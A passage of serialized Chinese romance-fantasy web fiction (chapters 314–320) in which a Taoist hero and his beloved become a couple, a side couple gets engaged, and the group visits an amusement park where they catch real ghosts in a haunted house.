“静之,是你传话回来了吗?” “孩子们也想你呢。” “我也…比昨天更深一层的,想你。” …… 静之以为朱九看不到她的小动作。 不过是他能装而已。 一句写给死人的话,他有什么好吃醋的。 死人嘛,当然想他了。 朱九这样劝自己。 回程路上,却突然一言不发,仿佛下午时阿莲端出来的那杯水里给他下了哑巴药。 “九哥?你…怎么了?” 他的反常,她怎么可能发现不了,脸都拉出二里地了。 “……没……”刚想说没什么,不想骗她的心又顶了上来,于是话锋一转,眼角一垂。 “我……林风是你前男友吧?” 静之:我裂开了。 第315章 豆and鹤 经典永流传。 一个问题,贯穿三世。 一碗孟婆汤,可以让他忘了她,却依旧保留了他谨慎的心思和爱吃醋的性格。 每世他都得闹一遍,静之有些心累。 早知道就不偷偷施法刻字了。 而且他非要这么算的话,林风,二娣,以及林九的两世,这么算一算,她就有四个前男友了。 虽然都是同一魂,但怎么不能算是感情经历丰富呢。 静之幽幽叹了口气。 “很难回答吗?” “我其实一点都不……”朱九卡壳一下,接着小声说:“很在意。” 她说:“是挺难回答的。” 静之突然把他放在膝盖上,紧攥的拳头掰开来,放进一个她以前买的,以为只能用来观赏的东西。 “以后,这座小岛,我应该不会再来了,能不生我的气了吗?” 生什么气,他哪里有生气。 只不过是想爆锤朱八一顿而已。 而此时,看着手里东西的朱九,哪有空生气。 嘴巴又卡壳上了,瞪大了眼睛看看她,又看看手里的东西,你了半天,突然闭上嘴,把那东西紧紧攥住。 静之好笑的看着他的动作,问: “不戴上吗?” 朱九摇头,“还有两天,我可以的。” 静之抬手左手杵在桌上,捧着脸,笑看朱九,“就不想早点把我套牢吗?” 朱九右手的无名指指尖,蠢蠢欲动的戳进手心的那个圈儿里,脸上却满是义正言辞。 “我答应你了的,约定时间没到前,不跟你求婚。” 静之看他不生气了,话锋一转,又开始跟他打起了太极。 “两天后,不过是答应跟你交往而已,你还真想直接跟我求婚啊?” 朱九没有说话,但看他那躲闪的眼神,静之就知道,他还真是这么想的。 【八:二叔对上她,真是藏不住一点秘密,再这样下去,两天后,哪里有什么惊喜嘛。】 【少少:未经女方同意,就擅自求婚,其实也是一件逼迫性的行为,妄图利用舆论的压力,迫使人答应,我觉得不是很道德,更别说惊喜了。】 【豆:姐,你……】 【鹤:姐,你……】 “鹤”已被踢出群聊。 【少:豆豆你们……是怎么回事?】 【少:他这一声姐叫的,我觉得我要折寿了。】 【豆:别听他瞎叫,我还没答应他。】 “鹤”已加入群聊。 【鹤:@豆,昨晚我们已经……。我准备的套都来不及用,你别穿上裙子不认人,你要对我负责。】 群里静默了好久。 屏幕外的三人一鬼,简直大跌眼镜。 炸裂,太炸裂了。 他俩的进度比朱九那边不知快了多少。 正开船的阿祥设定了一下自动驾驶,随后悄悄凑近朱八耳朵旁说: “酒店预订的酒席,我看二叔还没用上,就要先给祖师爷用了。” 朱八惊得鼻孔都扩大一圈,他揉了揉眼睛,又看了一遍刚刚朱鹤发的那几个字,才回他: “祖师爷是个古代人,现代式婚礼我看他不一定会喜欢,咱们再找婚庆公司选个古风的。” “行。” 这边两人一通忙活。 站在教室里的豆豆突然叉着腰爆发出一声怒吼,吓得班里的学生一哆嗦。 【豆:不过是喝多了酒而已,你别多想。】 发完这条后,她咬紧牙根,打开与朱鹤的私聊对话框。 【豆:避孕药已经吃过了,你放心,作为新时代女性,我是不会赖上你的。】 【豆:常在河边走,哪有不湿鞋。】 【豆:就当我倒霉好了。】 玩手机的朱鹤一看到这几条充满嫌弃的信息,瞬间气得七窍生烟。 昨晚她明明不是这样的。 热情似火,调皮磨人,性感娇俏,让他上头后,她这就打算甩了他了? 朱鹤眸一暗,走到教室外回复信息的豆豆,突然被虚空之中出现的手一把捞进空间裂缝里。 眼一眨,她已经陷入一张绵软的熟悉大床里。 火热的身躯覆上,挣扎的手脚被紧紧压住。 朱鹤以唇堵住她不停谩骂的嘴。 激烈的挣扎在他温柔又强势的吻中渐渐消失。 意乱情迷间,她甚至环住他的脖子,开始回应他。 朱鹤突然抬起她的脚,指着她脚腕上的变成金色的姻缘线说: “咱俩的姻缘绳都系上了,当我的道侣好不好?” 豆豆一脚踩在他的胸口,撑起上半身,“想得美,你都没有像二叔追静之姐一样追过我!” 朱鹤眼一亮,立刻将豆豆扑回枕头上。“我追,从现在就开始追!” 豆豆一把捂住他欲往下亲的嘴,傲娇的说:“昨天是我大意了,我可不是随便的女人。” “追我期间,不准亲我,不准不经我同意,对我毛手毛脚!” 朱鹤犹豫了一瞬,在看到豆豆脸上开始产生不悦的情绪时,他一骨碌翻身下床。 “行,我都答应你。” “昨晚……你累不累,我帮你按按腰?” 豆豆啧一声,觉得他另有所图,理了理身上的裙子后,立马站了起来。 腰是酸的,但不起来的话,估计今天就起不来了。 “送我回去书法班。”她说。 朱鹤扭头看了一眼墙上的挂钟,“不是下班了吗?” 豆豆猛翻白眼,“我的公文包还有学生们的作业还没拿呢!” 朱鹤动动手指,床边陡然一沉。 刚刚她嘴里说的那些个东西,瞬间出现在她身边。 豆豆垂眸看了一会儿,突然悄咪咪的瞄一眼朱鹤。 “这招……我能学不?” 朱鹤靠在墙上,一双漂亮的桃花眼笑得弯弯。 “跟我做……道侣久了,你自然就会了。” 豆秒懂。 她一脚跨出门外,用行动表示婉拒。 “开玩笑的,昨晚你拿了我的元阳,一些简单的小法术,你现在也能使了,要不要我教你?” 语气云淡风轻,他却死死揪住她的袖子。 豆豆一个年轻人,好奇心强,她当然想学。 她理解了一番朱鹤的话后,突然回头问:“昨晚,也是你的第一次?” 朱鹤撒手,整个人跟没骨头似的,又靠回墙上,揪紧他橘红色的衣袍,朝豆豆努力放电。 “难道不像吗?” “修道中人,一般都是保持童子之身修炼,才会事半功倍,昨晚当然是我的第一次。” 豆豆比手画脚,说话突然不利索了。 “那……昨晚……我……你……我们那样……会对你有影响吗?” “你是在担心我吗?”朱鹤忽而勾起嘴角。 豆豆:“是啊,关心长辈是做人的美好品德。” 嘴角翘到半空,突然被她一句长辈抹平。 站在外头的豆豆被一把扯进他怀里。 “我这就让你看看,我是不是长辈!!” 裂帛声响起,伴随着豆豆的惊呼声。 “欸欸欸,我开玩笑的,你别这么小气嘛。” 被翻红浪,空调打起。 “我就小气,我打算明天再追你,刚刚不碰你的约定,推延至后天。” 豆豆极力挣扎,终于夺回一丝空气,“为什么是后天?” 朱鹤邪笑,“当然是……明天有个人要下不了床了。” 况且,和小阿九一起向心上人求婚,把她们吓一跳,好像也好玩得紧呢。 豆豆生无可恋,紧接着便被拖入情海里沉浮…… 第316章 好,朱九。 七月十八,一个很凑巧的日子。 还处于睡梦中的静之,怀里夹着的大抱枕突然被抽走。 眼刚睁开,就看到朱九穿着一套修身的黑色西装站在她面前,又酷又有成熟男人的魅力。 他手里捧着扎成球的白色玫瑰花,花瓣上甚至还有晶莹的露水。 静之甚至怀疑自己在做梦。 这是刚过两天,不是过了两个月啊。 他这又是…搞的什么操作? 朱九刚刚动了一下嘴皮子,静之抱枕一丢,顶着一头乱发迅速跪坐起来,把他的嘴捂得死死的。 “不准求婚!我还想有段甜甜的恋爱呢!” 本来朱九挺丧气的。 不过一会儿,脑子就拐过弯来了。 “你这是…答应跟我在一起了?” 静之还没说话,他的嘴角已经快咧到耳后根了。 她捋了捋有些凌乱的头发,剜了他一眼。 “这么早来干什么,我脸也没洗,头也没梳,你还穿得这么帅气,一点都不公平!” 朱九把花塞进她手里,拿过梳妆桌上的梳子,轻轻给她梳着头发,边打量着她,“静之,答应我好不好?我是真心的。” 她扭头盯着朱九,不依不饶说: “你把话说完整来,我再答复你。” 呦,小猫长心眼了。 不过不急,饭要一口一口吃,才不会噎住。 朱九清一下嗓子轻声问: “静静,我喜欢你,做我女朋友好不好?” “这半个月,姑且算是我们两个之间的冷静期,我已经想得很清楚了,不是为了朱家后代,单纯只是因为我心里有你,所以才想要跟你在一起。” “所以,可以给我一次机会吗?和你相伴走一程的机会。” 静之:“……” 眼已闭,头已垂。 她整个坐着原地入睡。 朱九皱眉,抬起她的下巴,轻弹一下她的额头。 “不许装睡,说正事呢。” 静之的脸上突然泛起一片淡淡的红潮,和些许的不自然。 他说得又认真又深情。 性格有些大大咧咧的静之实在不知道该作何反应,才不会辜负他这片心意。 于是把花往桌子上一放,被一卷,脚一蹬,把整个人藏进了被子里。 “静之,都这个时候了,你还要逃避吗?” 他略显委屈的声音在房间里响起。 被子里头突然伸出一只白嫩的手,她细若蚊声说:“把手给我。” 朱九神情微顿,随即把骨节分明的手搭了上去。 摸到他无名指上自顾自戴得好好的戒指,那只手顿了一下后,一个用力,把朱九扯躺到床上。 淡绿色的被子突然掀起,床上两个人消失。 床边的朱九大抱枕,突然被朱九本人一脚踹到地上。 擦得铮亮的皮鞋默默被朱九蹬到地上。 他嘴上还非得矜持一句: “这……这样不太好吧,我是来接你去游乐园玩的,等会迟到了。” 昏暗不明的被子里,暧昧丛生。 静之趴在他胸口,轻轻点一下他柔软到有些腻人的唇,“你以为我要干什么?” 她轻揉一下指腹说:“涂得有些多,你就这么自信我今天会吻你呀?” 朱九轻咳一声,把瞬间升温的脸颊贴近她的冰丝枕套,“没,没有,太久不下雨了,天气干燥,我嘴巴起皮了。” 她呵呵笑了一声,扯过他的手臂当枕头,躺了下来。 “那……你想要我亲你一下吗?” 想,想的不行。 但他如今,更想要一个明确的答案。 他微微侧头,在她耳鬓旁边问: “别扯别的了,刚刚我的问题,你还没回答。” 静之啧一声,挪了一下身子,一只脚轻轻搭在他腿上侧卧着,“我以为,我的行为已经很明确的告诉你我的答案了。” 朱九的心越跳越快,但仍不放弃。 久久得不到她的答案,他终于忍不住开始耍赖了。 “你不说,我就不让你起来。” 他一个翻身,紧紧拥着她,把她摁在床上。 静之叹口气,却是满脸笑意。 “我不答应你。” 他呼吸甚至停止一瞬,指尖直发凉。 静之这才松了口,“骗你的啦。” “脸都吓白了,你可真不经吓。” 还说他呢。 “对你的事,我从不开玩笑,我相信你跟我说的每一句话。”他说。 一股暖意直冲心头,静之伸手圈住他的脖子,抿了抿嘴,终于肯把自己的真心交出去。 “好,朱九。” “我们在一起吧。” “你可要好好保护我呦,还有你自己。” 朱九听到那个好字时,脑子唰的一下,就空白了。 等她小声嘀咕完,她的呼吸瞬间就被他夺走,唇齿纠缠间,他甚至激动得轻嗯一声。 静之被他逗得不停颤动,笑声却完全被他封在唇间。 …… 过了好久,隔壁不知为何,突然放起了古典音乐。 静之极力挣扎出他的怀抱,用力到肱二头肌都鼓起来了,才把化身钳子的他推离一点。 “九哥,起来……说好要去游乐园,要不然不赶趟了。” 被子里的空气变得火热,她灵活的脚趾揪住一点轻轻往下拉,清凉的空气窜入鼻腔的时候,她舒适得深吸了一口气。 才刚吸那么一口,脸爆红的朱九,撩起被子又盖住两人的头。 “再等等。” “你让我等好久了,你也要为我等一下。” 火热而沉重的呼吸打在她锁骨上,静之一下就懂了他在说什么。 他都这般了,静之以为他会一不做二不休,直接…… 然而他并没有。 亲一下后,朱九死死搂住她的腰,力道之大,仿佛怀里抱着的不是人,而是一条滑不溜秋,善于逃跑的鱼。 “九哥,你要箍死我了,腰要断掉了。” “抱歉………………” 朱九缓了好几分钟,才撩开被子,拉着她坐起来,“是我激动了。” 静之轻轻抚平被她弄的有些发皱的西装,忍不住吐槽说: “回你房间去,换一套衣服,家常一点的。” “去游乐园而已,不用穿成这样。” 朱九低头看看自己,有些不好意思。 “我没去过游乐园。” “也没跟女孩子表白过,所以……” 这是他能做出的,最庄重的打扮了。 静之突然明白他未说完的那句话。 快速给自己收拾整洁后,她推着他的肩膀,拐到隔壁。 “来,让我帮你选选衣服。” 为了搭配西装,他把头发梳成大背头。 静之抬手捻下几小撮他前额的刘海,微微盖住一点他的额头,长度直达他眉骨下面一点,休闲感这不是一下就get了嘛。 今天她给他选的衣服同样是利于运动的。 黑色裤子,加白色半拉链式无帽卫衣,皮鞋也被她换成了白色运动鞋。 又简洁,又显年轻。 静之今天松松绑了个侧辫搭在肩头。 为了他们两个之间首次的约会,她特意好好打扮了一番自己。 修身的雪纺小碎花裙外面,套一件宽松的白色蓝条纹衬衫,前面两个衬衫衣角被她扎成个小揪揪放在腰侧,脚上是夏季必备米色小方跟凉鞋。 朱九越瞅越不放心。 他打开抽屉,拿出之前求婚用的钻戒,强行给她戴上,边解释说: “不是求婚。你太好看了,我……我怕别人不长眼。” 她举起手看了看钻戒,又看了一下他戴戒指的手,无奈耸耸肩。 然后把衬衣的衣袖松松挽了两圈,露出和朱九同款的智能表。 这下好了。 别人肯定都觉得他俩是新婚夫妻去约会了,肯定不会有不长眼的人过来。 “话说,隔壁一直放音乐干什么?”静之问。 朱九有些难以启齿。 朱八跟阿祥两个大嘴巴的,已经把豆豆跟朱鹤的事儿给他说了。 “既然事情已经发展到这个地步,我不得不告诉你了。” “豆豆她……和我祖师爷……呃……” 也不能说在一起。 毕竟只是一次酒后乱性的行为。 那他俩到底算什么关系? 情史一片空白的朱九迷茫了。 “他们……怎么了?” 朱九脸一红,看着窗外放起的爱心气球,小声讲:“他们……已经有了夫妻之实。” 静之简直目瞪口呆:“哈???” “今天,我祖师爷是来跟她求婚的。” 朱九指着窗外越来越多的粉色气球给她看。 静之闭了闭眼,掰回朱九的脸,指向自己,“我不会是最后一个知道的吧?!” 朱九一愣,仔细想想,好像还真是。 “你为什么不早点告诉我?” 朱九捏着她的手,无辜的说: “我心里只有你,还有跟你表白的事,别人的事,我不想管。” 额,这……她想埋怨都不好意思埋怨了。 “快快快!趁现在还有音乐声,我们过去看看!” 好奇心爆棚的猫咪扯住朱九的手,就往楼下冲。 第317章 高老庄里曲曲老朱家 两人刚走到院子里,就看到朱八和阿祥各持一根礼炮在相拥的一人一神头顶放响。 彩色的丝带洒满半空,显得格外喜庆。 看到朱九他们,阿祥一脸欢快的朝他俩招手,“二叔,快过来!” “豆豆她答应啦!!” 朱九和静之面面相觑。 这俩才认识多久,豆豆这就松口了?! 朱九那“你看看人家”的小眼神,瞅得她拳头有些发痒。 “咱们才认识不到两个月,你冷静点。” “是吗?”朱九轻轻旋着无名指上的戒指,“我总觉得很久了。” 阿祥看着眼前这两人手上戴着的钻戒,突然发出一声猴叫。 “哦~~二叔也成功——哎呦!” 朱九:“闭嘴!” 阿祥捂着脑袋,一脸迷茫,“二叔你打我做什么?我是在为你高兴啊。” 为他高兴? 还是在酸他? 朱九拳头攥得嘎嘣响,看向静之的眼神越发委屈。 “静之……” “别这样看着我。”静之捏紧自己的拳头,在朱九面前扬了扬,“一步一步来,咱们的时间还有很多呢。” 行吧。 今天她能答应与他交往,他其实已经很满足了。 朱九包住她耀武扬威的拳头,握在手心里,他现在已经预定了她的往后余生。 他相信总有一天,她会答应的。 阿祥有些懵逼。 “二叔你们……” 静之:“他没求婚,我们只是正式在一起了而已。” 朱鹤搂着豆豆的肩膀走过来,一脸神气说:【你笨死了,都这么久了,连个二垒都没上。】 刚说完,豆豆就给了他一杵子。 “对二叔好一点,我姐还是他救的呢。” “而且你个万年单身汉,上哪儿学这么多不正经的词汇,以后不许乱说!” 朱鹤捂着左侧肋骨,一副被她创骨折的样子,哎呦哎呦叫。 豆豆又给了他一杵子。 “你是神仙欸,而且我用多大的力道我自己知道,你就别装了!” “豆豆~”朱鹤牵住豆豆的手,指着朱九说:“我们跟他们两个一起出去玩怎么样?” 朱九额头青筋冒出。 秀恩爱就算了,还想破坏他的约会?? 豆豆看了看朱九,又看了看静之。 她一把甩掉她未婚夫的手,挽住静之的胳膊撒娇道: “静之姐,咱们一起去玩吧,上次你们出海我都没时间去呢,这回你一定要让我跟。” 朱九右眼皮开始抽抽。 静之对女性一般都是很宽容的,他有一种不祥的预感。 他赶紧讲:“你们自己就不能自己……” 讲到一半,静之拍了拍他的手,朝豆豆点点头,“可以啊,九哥开车,我们一起去。” 阿祥跟朱八凑上来,“那个……既然不算约会,我们两个能不能也一起去啊?” 身上的红西装彻底变成白西装的少少飘了过来,“可以带我一个不,别留我在家里看家啊!” 朱九简直都快气炸了。 都是一群讨债鬼。 “我和静之,还有豆豆,少少坐一车。” “三弟你载阿祥跟祖师爷。” 朱九分配完毕,不容置疑的将三位女士直接送上车。 朱鹤简直望眼欲穿。 【嗐,早知道就我跟豆豆两个人自己去算了。】 朱八跟阿祥对视一眼,互相摊手。 他们可没朱九这么大的胆子,敢当面下祖师爷的面子。 阿祥狗腿的走到车后座打开车门,“祖师爷请上车!” 朱鹤看了眼远去的车屁股,轻哼一声,一扬燕尾服的后摆,直接坐了进去。 朱鹤懒得看两个朽木,不是玩手机,就是闭目养神。 他们这个车厢除了汽车发动机的浅浅轰鸣声外,安静得连根针掉到地上都能听得到。 前面商务车里,三个女人简直自成一台戏。 静之时不时转过头去,咋咋呼呼的问着豆豆,她和朱鹤之间的相处细节。 豆豆不好意思说,少少大大咧咧的说了一点后,驾驶座上旁听的司机朱九,突然面红耳赤。 “别说了。” 少少闭上嘴,搭了一下静之的肩,然后指指手机。 静之迷茫的低头一看。 【B好闺蜜少少:分享群聊**,你加进来一下,我跟你细说。】 少少偷瞄一眼豆豆,见她一直拿手机背部对准她,这副防止窥屏的操作,让少少忍不住撇了撇嘴。 “躲什么,我还不愿意看呢,都是一些充满恋爱酸臭味的信息,真搞不懂你为什么这么快就答应他了。” 豆豆红着脸低下了头。 没办法,被他那双多情的桃花眼一看,她就沦陷了。 谁叫她是个颜控呢。 …… 三人群已成立。 群聊名称:【高老庄里曲曲老朱家】 【静:我去,我都没想到这层去,你们跟朱家那是天生的缘分。】 【豆:嘿嘿,我也觉得是,我看阿鹤的第一眼,就感觉出来了。】 【少:没人问你这个。@豆】 【静:别介啊,创建这个群聊的初衷,不就是为了聊聊豆豆和他的八卦吗,我想听。】 【少:怀春少女,一朝酒醉,惨遭毒手。】 【静:……然后呢?】 少少一行字打得呲牙咧嘴,眼珠子甚至都微微凸出来了,看样子气得不轻。 【少:没然后了,这妮子跟沦陷了似的,从那天以后就背着我偷偷跟朱鹤联系,朱鹤会仙术,我打也打不过,防也防不住。】 【少:@静,你不是人,要不你试试看能不能打他一顿呢?】 【静:你怎么骂人呢?】 【静:你才不是人。】 【少:我本来就不是。别扯别的,就说你帮不帮?】 豆豆放下手机,扯着少少的胳膊,一声“姐~~~”叫得九曲十八弯。 她举起手朝少少亮了亮无名指的钻戒,“我都答应他了,你就相信他一回嘛,他一定会对我好的。” 少少环着胸,一脸冷漠。 “要是真的对你好,就会像二叔一样,给静之尊重,不会对她做太过分的事,而不是一来就上。” 二叔皱起眉头,从后视镜看了后排的两人一眼。 这一人一鬼一猫,到底背着他聊啥呢? 豆豆被说得彻底安静了,老老实实靠回椅背上,支着手看向窗外的风景,不知道在想什么。 少少叹了口气,拉住豆豆紧攥着手机的手轻轻揉着,边说出自己的忧虑。 “豆豆,我在人间逗留的时间,就剩下几天了,姐姐没办法再照顾你了,我希望你慎重考虑一下。” “朱鹤不比正常男子,若是婚后不幸福了,能随便离婚的。” “若是你受欺负了,姐姐也打不过他,我担心你。” 豆豆仿佛有所触动,别扭的神色松动不少。 她转回头反握住少少冰凉的手说: “姐,我已经长大了,这件事,我也是经过深思熟虑,才答应他的。” “他虽然爱搞怪,但是心不坏的,你死后有些仇家找到我这里来,还是他帮我解决的呢。” 说到朱鹤,她的眼神开始变得柔和,脸上也洋溢起幸福的笑容。 “喏。”豆豆从包里掏出一把隐隐泛着金光的剪刀,“他给我的,他说剪断姻缘线的主动权在我这里,只要在婚姻中觉得有一点不幸福,我随时可以剪断的。” “他也有为了我们的以后考虑,我已经开始修道了,不管最后成不成得了仙,能多陪他一段时间,我就满足了。” 少少这回无话可说了。 她妹妹,当真是长大了。 就连朱九也绷不住那张严肃的脸,眼里露出震惊的神色。 他祖师爷这一回,可真是栽在豆豆身上了。 “宁拆十座庙,不悔一桩婚。”静之浅笑着回头,“反正还没结婚,你就让他们两个再处处看呗。” “我是不会插手的。” 毕竟豆豆现在看起来很幸福的样子,莫名让静之想到了她以前和林风在一起的时光。 朱九缓缓将车停靠在路边,扭头朝少少说一句: “朱鹤修的是剑道,这类人实力强大,虽然性格有些古怪,但最是死心眼,认定一个人后,便是一头栽进去了,你放心吧。” 少少:“……最好是这样。” 车刚停稳,豆豆那边的车门迫不及待的被打开,朱鹤弯下腰,一手搭在车顶,“豆豆,走啦,我带你去玩,小心碰头。” 豆豆回头投去一个“你看吧。”的眼神,将手搭在朱鹤手上,笑眯眯的下车了。 朱九一副学到了的样子,有样学样,下了车走到静之这边,打开车门。 还没搭上手,静之动如脱兔,身子一扭,从他腋下窜出去,径直跑到了他身后的冰淇淋摊面前。 第318章 老鼠进了米缸 “欸,今天到你上班欸,你不去,我也没在,学生咋办?” 静之举着两个冰淇淋,问豆豆。 豆豆:“你家男朋友提前放出消息了,今天书法班集体休息一天,他不会没告诉你吧?” “还真没有。” 游乐园里人来人往,到处充满了欢声笑语,还有不远处极速飘过的刺激尖叫。 静之看着朱九站在人群里那副无所适从的样子,忍不住勾了勾嘴角。 他可真是的,老是瞒着她。 不过一个青年究极大宅男,愿意陪她出来这种人多的地方约会,还真是难为他了。 路上不时有几个小孩牵着手跑过去,朱九习惯性背着手,侧过身子给他们让路。 得到一句软糯糯的“谢谢叔叔”后,朱九红着耳朵,有些不自在的点了点头。 “他可不可爱啊?” 站在几米外的静之笑得有些荡漾。 豆豆:可爱吗? 第319章 溜鬼 朱九越是正经严肃,静之就越想看他破功的样子。 于是吃完饭后,下一站两人直接来到了鬼屋。 门口的售票员捂着胸口,神秘兮兮的跟她透露了一件事。 这个地方,在五十年前,是樱花国在港区建的一间战备卫生所。 战败后,敌军撤出,这里自然也就荒废下来了。 爱国人士把这里建成了游乐园,供人们玩乐,主打的就是一个夺回自己的地盘,肆意欢笑。 本来她不是很感兴趣的,既然售票员这么说,那她就非得进去尝尝咸淡了。 毕竟她跟他们打过,还败了。 晦气得很。 “九哥,等会站我后面,我保护你。” 静之拍了拍胸脯,望着门口那两个瞪眼流血泪的雕像,突然竖起中指。 该! 中指被握住,朱九悄然将她手按下,“咱们要做个文明人。” 边说着,朱九不知从哪儿摸来的两道符纸,啪啪两声,贴在雕像额头上。 售票员本想阻止,但这么一贴,反倒有几位僵尸片爱好者过来买票,他也就歇了这门心思。 他递给两人一张里面的地形图跟剧情线。 “''受害者''就在地形图上的红星位置,麻烦你们按路线走,解救出来后,记得绕回来找我要奖品哦!” “o了!”静之接过纸,跟朱九推开那扇掉着绿漆皮的陈年玻璃门,边捂住嘴窃笑。 “你刚刚随地大小贴,你也不文明。” 朱九直视里头电灯一闪一闪的昏暗室内,眼神微闪。 “斩妖治邪,我觉得挺好。” “还有。”他轻轻搭住她的肩膀,朝他的方向带了带,“你带我来这儿,未免太小瞧我了。” 理应他保护她才对。 静之捏着手里的煎饼果子啃一口,突然醒悟过来。 她脑子刚刚可能坏掉了,这地方不仅撞她枪口上,更是撞朱九桃木剑上了。 “哼,本来想再听听你手表吱哇乱叫的声音的。” 她掰过他的表一看。 心率60。 比之平时的65,甚至还慢了五拍。 有一种调休日却被老板强压着上班的淡淡死感。 “嗐,来都来了,咱们速战速决。”静之把煎饼果子凑到他嘴边,“吃吗?” “……不,不用了,这里还有人。”朱九红着脸看向突然从房顶倒吊下来的“鬼”。 鬼咧着血盆大口,前后晃悠着身子,伸长惨白的手朝他俩撞过来: “嗬……八嘎!这里只有你们两个活人,我要吃了你们!!” 静之有些遗憾的收回煎饼果子,然后反手塞进鬼嘴里。 “来吧,瘦成这样,给你放饭了,不用跟我客气。” 两人就杵在门后面,售票员听得清清楚楚。 他推开一点门缝朝里头提醒:“不准投喂妖魔鬼怪啊。” 想了想,他又说一句:“不准殴打妖魔鬼怪啊!” “他怎么知道我想干什么。”静之拿回被鬼咬一口的煎饼果子看了看,然后直接丢进垃圾桶里。 “可惜了,狗吃过的,人不能吃。” 看着那鬼受伤的眼神,她摊了摊手。 “谁叫你装樱花鬼。” “好了,进去吧。”见她一副要跟同一只鬼促膝长谈的模样,朱九赶紧推开右边的小门,拉着她走进去。 这里是病房,惨白的白炽灯照在绿色的病床上,看着有些渗人。 可能是撤离得急,这里甚至还有挂水挂到一半的吊瓶,垂到半空中卷缩着的留置针头甚至还有变得乌黑的血迹。 “哇,这是真的还是假的?” 地形图下面有行温馨提示,需找到一把钥匙,才能把受害人从牢里放出来。 静之到处翻翻看看,每次都准确的避开有“鬼”埋伏的位置。 那些工作人员呼吸声太明显了,她不想发现也难。 静之怕那个售票员说的是真的,她从旁边医疗箱里掏出一次性医疗用的橡胶手套带上,这才一把掀开床铺上卷成一团的被子。 一间病房,三个床铺,被她掀了个底朝天。 其实有很多蛛丝马迹,但是只有朱九在仔细观察。 她寻找线索时,主打一个简单粗暴。 “这里没有。” 躲在暗处的工作人员,看着撇一地的床褥枕头,欲哭无泪。 这玩意儿,真的归真的。 但他们也是要稍做还原的呀。 明明知道下一步该怎么走的朱九,看到静之兴致勃勃的样子,立马吞下告知她真相的话,任她扯着前往下一病房。 刚一进门,作为正统茅山道士的雷达就开始转了起来。 这屋,有古怪。 人气和阴气并存。 估计来鬼屋的人很多,人气过于旺盛,一时之间,朱九竟没办法搜寻到那丝阴气存在的位置。 不想扰了她的性质,欲悄悄解决问题的朱九,紧紧贴着墙走,暗自警惕一切动静,原本空空的右手,此时悄然捏着一张黄符。 此时静之站在02病房前,摸着下巴,看向病床下放着的沉灰的军靴,猜测道: 这章没有结束,请点击下一页继续阅读!“鞋子位置朝门外,是方便下床时穿的摆法,住这床的樱花兵,这是上了这个病床后,就死这儿了吧?” 话音刚落,冷气本就打了很足的室内,突然开始降温。 “咯吱……咯吱……” 静之眼睁睁的看着病床尾部生锈的摇杆开始自己转动。 床头被摇起一定弧度后,就停了下来。 她呦了一声,连连称奇,“这小机关,整得还挺别致。” 军靴颓下的鞋帮在不知不觉间撑了起来,仿佛有人穿上了它们。 鞋子一步一个脚印,慢慢朝静之这边走来。 “哒…………哒…………” 坚硬的靴底敲击着地面,传出轻轻的回声,在这宛如冰窟的病房内,显得愈发诡异。 若是一般人,这时候早就被吓尿了。 静之慢慢后退到朱九身旁,瞳孔里清晰的倒映出一个头包纱布的鬼影。 “九哥……” 刚发出一点声音,那真鬼就嘶吼一声扑了上来。 朱九不想浪费她身上法器储藏的月光能量,手一震,将燃起的符纸朝那道黑影丢了过去。 “啪!” 鬼影现形的一瞬间,躲开衣柜里,床帘后,床底下的各个假鬼,踉跄的,匍匐前进的,夹紧屁股的,逃跑姿势各异,尖叫着以最快的速度逃离病房。 “啊!!!有鬼啊!” “妈妈!救救我!!!” “救命!我不要待在这里了!!!” 外头侧耳倾听的售票员露出了满意的笑容,鬼屋里当然有鬼。 “还以为他们不怕呢,这不是叫得挺欢的吗?嗓子都喊劈叉了。” 真正的客人——朱九和静之,此时用朱砂绳拴着刚刚那只鬼到处吓工作人员。 一吓一个准。 因为那鬼是半透明的,朱砂绳仿佛悬在空中,一看就完全无法用科学解释。 “好玩吗?” 朱九含着笑。 静之用力点头,一手牵住绳子,像遛狗一样,把真鬼往犄角旮旯里赶,完全不带看一眼地图的。 到后来,一条绳,变成5条。 五只真鬼挤成一团,不是你挤掉他的手,就是他的眼珠子又掉出来了,更有甚者,肠子拖了一地,自己把自己绊倒的。 这万分真实的场景,把还在鬼屋里头的其他玩家还有工作人员吓得吱哇乱叫。 售票员满意得直点头。 这些玩家来鬼屋玩得这么开心,简直值回了这票价。 静之玩得酣畅淋漓,这才笑呵呵的徒手掰开铁栏杆,把一脸懵逼的“受害者”解救出来。 走到阳光底下,静之拉起朱九的手腕一看。 心率59,甚至还下降了一拍。 “你不开心啊?” 望着笑意妍妍的她,朱九不争气的红了脸。 静之又看一眼他的表。 好家伙,心率从59到89,只用了几秒。 “滴!”表不出意外的响了一声。 她的头突然被他搂进怀里捂着。 “不许嘲笑我。”他小声说着,然后一扬乾坤袋,将五只生无可恋的鬼收进去。 “不嘲笑不嘲笑,你喜欢我,我嘲笑你干什么。”她拍了拍他的背,催促他赶紧绕去前门领礼物。 估计是刚刚鬼屋里的人叫得太大声,吸引来了一大批跃跃欲试,来练胆的围观群众。 此时前门排满了人。 朱九嘱咐一声静之在旁边等他后,就挤了进去。 过了好一会儿,才看到他拿着东西回来,静之立马迎过去。 “是什么礼物啊?” 朱九朝她扬了扬手里的东西,“两个面具。” 静之接过来一看,是两个只有上半截的鬼面具。 面具头顶一金一银的角,莫名让她想起了西游记。 “我要当金角大王,九哥你当银角大王吧,我帮你戴!” “……好。” 舍命陪君子吧,谁叫他喜欢她呢。 戴好后,朱九忍不住摸了摸脸上的面具,“很奇怪吗?” 静之已经盯着他,看了有几分钟了。 她环着腰撑着下巴,眉头微微皱起。 “也不是奇怪……该怎么说呢……” 这面具挺唬人的。 但朱九下半张脸长得十分刚毅,锐利的眼神里又满是浩然正气。 那面具戴他脸上,割裂感强得不行,就像是水和油两个不相融的东西,强行结合在一起。 “要不别戴了。”他抬手就要摘下。 “别别别,我一个人戴多奇怪呀,一起呗。”静之说。 “啊!!!!!!” 头顶歘的一声,跌宕起伏的过山车带着人群的尖叫声呼啸而过。 她转身抬头看了一眼,“九哥,敢不敢上?” 朱九默默放下欲摘面罩的手。 “……走吧。” 戴着吧,至少等会受惊的时候,五官乱飞的样子不会被她看到。 喜欢快穿之九叔,哪里跑!请大家收藏:()快穿之九叔,哪里跑!更新速度全网最快。 第320章 摩天轮 十分钟后,呼啸而来的列车终于停止。 个别几个胆小的,甚至腿一软瘫在一边站台上。 更有甚者,扶着柱子吐得稀里哗啦。 本想逗逗朱九的静之,此时有些担忧的看着他,“你……” “我行!!” 为证明自己,朱九率先上车坐到红色的座椅外侧。 静之耸耸肩,他都上去了,她怕个卵。 于是她也跟着上去了。 